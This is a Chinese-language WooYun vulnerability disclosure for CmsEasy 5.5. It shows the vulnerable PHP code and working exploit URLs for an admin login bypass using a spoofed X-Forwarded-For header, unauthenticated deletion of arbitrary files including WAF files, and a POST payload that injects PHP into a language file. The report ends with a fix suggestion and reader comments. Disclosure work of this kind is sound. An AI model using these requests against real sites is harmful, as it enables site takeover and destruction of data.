当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(32) 关注此漏洞

缺陷编号: WooYun-2014-67762

漏洞标题: CmsEasy多出任意文件删除到Getshell

相关厂商: cmseasy

漏洞作者: xfkxfk认证白帽子

提交时间: 2014-07-07 20:10

公开时间: 2014-10-05 20:12

漏洞类型: 非授权访问/权限绕过

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 第三方不可信程序 设计缺陷/边界绕过 敏感接口缺乏认证 越权操作

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-07: 细节已通知厂商并且等待厂商处理中
2014-07-07: 厂商已经确认,细节仅向厂商公开
2014-07-10: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-08-31: 细节向核心白帽子及相关领域专家公开
2014-09-10: 细节向普通白帽子公开
2014-09-20: 细节向实习白帽子公开
2014-10-05: 细节向公众公开

简要描述:

CmsEasy多出任意文件删除,可直接删除waf,Getshell so Easy !

详细说明:

CmsEasy在后台权限验证存在缺陷,导致登陆绕过,以及越权操作后台。

1、在后台登陆验证时存在缺陷,导致随意登陆绕过

2、在进行后台功能操作时,验证不全,存在缺陷,导致越权操作

3、通过上面的问题任意用户,包括非登录用户即可操作后台,危害较大!



来看看登陆这里的验证:

lib/admin/admin.php文件

code 区域
<?php
if (!defined('ROOT')) exit('Can\'t Access !');
abstract class admin extends act {
function __construct() {
if (ADMIN_DIR!=config::get('admin_dir')) {
config::modify(array('admin_dir'=>ADMIN_DIR));
front::flash('后台目录更改成功!');
}
front::$rewrite=false;
parent::__construct();
$servip = gethostbyname($_SERVER['SERVER_NAME']);
//if($this instanceof file_admin && in_array(front::get('act'), array('updialog','upfile','upfilesave','netfile','netfilesave','swfsave'))) return;
if($servip==front::ip()&&front::get('ishtml')==1) return;
$this->check_admin();
}
function check_admin() {
if (cookie::get('login_username')&&cookie::get('login_password')) {
$user=new user();
$user=$user->getrow(array('username'=>cookie::get('login_username')));
$roles = session::get('roles');
if ($roles && is_array($user)&&cookie::get('login_password')==front::cookie_encode($user['password'])) {
$this->view->user=$user;
front::$user=$user;
}else{
$user=null;
}
}
if (!isset($user)||!is_array($user)) {
front::redirect(url::create('admin/login'));
}
}
}



主要看这里:

code 区域
$servip = gethostbyname($_SERVER['SERVER_NAME']);
//if($this instanceof file_admin && in_array(front::get('act'), array('updialog','upfile','upfilesave','netfile','netfilesave','swfsave'))) return;
if($servip==front::ip()&&front::get('ishtml')==1) return;
$this->check_admin();



如果gethostbyname($_SERVER['SERVER_NAME'])==front::ip()并且front::get('ishtml')==1,就会return

这样正好跳过了下面的check_admin,导致登陆绕过了



例如我们在访问后台时:

http://localhost/CmsEasy_5.5_UTF-8_20140605/index.php?case=config&act=system&set=site&admin_dir=admin&site=default&ishtml=1

然后在访问时拦截包设置header中:X-Forwarded-For: **.**.**.**,然后访问

这样即可访问到后台:

111.png





当然在后台进行后台功能操作时,也存在权限和登陆验证的:

code 区域
function chkpw($str){
if(!chkpower($str))
front::alert('无操作权限!');
}

function chkpower($str){
$roles = session::get('roles');
//var_dump($roles);//当前用户的权限
return $roles[$str];
}



但是也有存在漏掉的地方,如下面我们要讲的任意文件删除漏洞!

附找出全部问题点的技巧!

漏洞证明:

后台搜索unlink,也就是在/lib/admin/目录下搜索:

222.png



这里一共找出6处可能存在任意文件删除的漏洞。

/file_admin.php中找到两处!

/image_admin.php一处

/table_admin.php一处

/website_admin.php两处。

但是/image_admin.php,/table_admin.php,/website_admin.php在删除文件时使用了chkpw函数,进行判断,所以这三个函数不存在漏洞。。。



我们来看看第一和第二处:file_admin.php文件

code 区域
function init() {
}

function delfile_action(){
if(front::$get['UD'] != 1){
echo '2';exit;
}
if(front::$get['dfile'] == ''){
echo '0';exit;
}
$f = str_ireplace(config::get('site_url'), '', front::$get['dfile']);
if(@unlink(ROOT . '/'.$f)){
echo 1;
}else{
echo 0;
}
exit;
}



首先看看这里的初始化函数中以及操作函数中,都没有判断权限及登陆验证

未验证chkpw,导致了越权操作。



来看看delfile_action函数:

这里直接删除了网站根目录下的文件:

code 区域
$f = str_ireplace(config::get('site_url'), '', front::$get['dfile']);
if(@unlink(ROOT . '/'.$f)){
echo 1;
}else{
echo 0;
}



没有经过任何过滤处理,导致任意文件删除。



首先来看看网站根目录下的robots.txt文件是存在的

然后我们来构造删除:

链接:http://localhost/CmsEasy_5.5_UTF-8_20140605/index.php?case=file&act=delfile&admin_dir=admin&site=default&UD=1&dfile=robots.txt&ishtml=1

header:X-Forwarded-For: **.**.**.**

444.png



现在网站根目录下的robots.txt文件已经被删除了:

555.png





这里可直接服务器上任意文件,没有任何限制

可以直接删除waf文件:

http://localhost/CmsEasy_5.5_UTF-8_20140605/index.php?case=file&act=delfile&admin_dir=admin&site=default&UD=1&dfile=webscan360/360safe/360webscan.php&ishtml=1

http://localhost/CmsEasy_5.5_UTF-8_20140605/index.php?case=file&act=delfile&admin_dir=admin&site=default&UD=1&dfile=webscan360/360safe/360scan.php&ishtml=1

设置header:X-Forwarded-For: **.**.**.**

666.png



至于/file_admin.php中的第二处文件是一样的方法,不在分析了。



================================================================================

删除waf后,就可以干其他很多事情了。。。

下面我们来看看删除waf后,Getshell!

文件/lib/admin/language_admin.php:

code 区域
function init() {
}
function add_action() {
if (front::post('submit')) {
$path=ROOT.'/lang/'.config::get('lang_type').'/system.php';
$tipspath=ROOT.'/lang/cn/system.php';
$content=file_get_contents($path);
$tipscontent=file_get_contents($tipspath);
$replace="'".front::$post['key']."'=>'".front::$post['val']."',";
$tipsreplace="'".front::$post['key']."'=>'".front::$post['cnnote']."',";
$content=str_replace(');',$replace.');',$content);
file_put_contents($path,$content);
$pos=strpos($tipscontent,$tipsreplace);
if (config::get('lang_type') != 'cn'&&$pos === false) {
$tipscontent=str_replace(');',$tipsreplace.');',$tipscontent);
file_put_contents($tipspath,$tipscontent);
}
if ($_GET['site'] != 'default') {
$ftp=new nobftp();
$ftpconfig=config::get('website');
$ftp->connect($ftpconfig['ftpip'],$ftpconfig['ftpuser'],$ftpconfig['ftppwd'],$ftpconfig['ftpport']);
$ftperror=$ftp->returnerror();
if ($ftperror) {
exit($ftperror);
}
else {
$ftp->nobchdir($ftpconfig['ftppath']);
$ftp->nobput($ftpconfig['ftppath'].'/lang/'.config::get('lang_type').'/system.php',$path);
}
}
event::log('添加语言包','成功');
echo '<script type="text/javascript">alert("操作完成!");window.location.href="'.url('language/edit',true).'";</script>';
//exit;
//front::refresh(url('language/edit',true));
}
}



初始化函数和add_action函数大都未进行登录及权限验证,导致越权操作

这里先$content=file_get_contents($path);

然后再$content=str_replace(');',$replace.');',$content);

最后再file_put_contents($tipspath,$tipscontent);

前面我们已经删除了waf,这样我们可以post任意内容到content了

发送请求:

code 区域
连接:http://localhost/CmsEasy_5.5_UTF-8_20140605/index.php?case=file&act=delfile&admin_dir=admin&site=default&UD=1&dfile=webscan360/360safe/360webscan.php&ishtml=1

post:submit=1&key=login&val=111111');phpinfo();//



111.png



然后,看看/lang/cn/system.php:

222.png

修复方案:

后台严格验证权限及登录验证!

版权声明:转载请注明来源 xfkxfk@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-07-07 23:58

厂商回复:

感谢,立即更新

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(少于3人评价):
登陆后才能进行评分
100%
0%
0%
0%
0%

评价

  1. 2014-07-07 20:11 | ( 普通白帽子 | Rank:1218 漏洞数:107 | 传闻中魇是一个惊世奇男子, 但是除了他华...)
    0

    你关注的白帽子 xfkxfk 发表了漏洞 CmsEasy任意文件删除可直接删除waf 给力

  2. 2014-07-07 20:26 | phith0n 认证白帽子 ( 普通白帽子 | Rank:804 漏洞数:125 | 一个想当文人的黑客~)
    0

    真给力

  3. 2014-07-07 21:33 | huc-ray ( 路人 | Rank:25 漏洞数:9 | 菜鸟一枚)
    0

    留名

  4. 2014-07-07 22:06 | U神 ( 核心白帽子 | Rank:1360 漏洞数:150 | 乌云核心菜鸟,联盟托管此号中,欢迎加入08...)
    0

    洞主又在刷钱了

  5. 2014-07-07 22:11 | f4ckbaidu ( 普通白帽子 | Rank:243 漏洞数:32 | 开发真是日了狗了)
    0

    删除360规则文件?

  6. 2014-07-07 22:17 | ′ 雨。 认证白帽子 ( 普通白帽子 | Rank:1332 漏洞数:198 | Only Code Never Lie To Me.)
    0

    好好学习一年, 求留洞。

  7. 2014-07-07 22:23 | HackBraid 认证白帽子 ( 普通白帽子 | Rank:1854 漏洞数:296 | 风暴网络安全空间: http://www.heysec.or...)
    1

    @′ 雨。 加油

  8. 2014-07-07 22:23 | mramydnei ( 普通白帽子 | Rank:400 漏洞数:87 )
    0

    cmseasy要被你们玩坏了……

  9. 2014-07-08 09:24 | 毕月乌 ( 普通白帽子 | Rank:120 漏洞数:16 | 猜猜我是谁?)
    0

    给力

  10. 2014-07-08 09:26 | xfkxfk 认证白帽子 ( 核心白帽子 | Rank:2299 漏洞数:351 | 呵呵!)
    1

    @疯狗 @xsser @finger 我编辑后的内容请审核下,辛苦啦!

  11. 2014-07-11 09:44 | 泳少 ( 普通白帽子 | Rank:248 漏洞数:82 | ★ 梦想这条路踏上了,跪着也要...)
    0

    @xfkxfk 洞主你在乌云拿到这么多钱,排行榜上升到第二是采用了什么加速的

  12. 2014-10-06 00:35 | 小小鸟 ( 路人 | Rank:8 漏洞数:6 | 小白一个)
    1

    @泳少 网易UU加速器2333333

登录后才能发表评论,请先 登录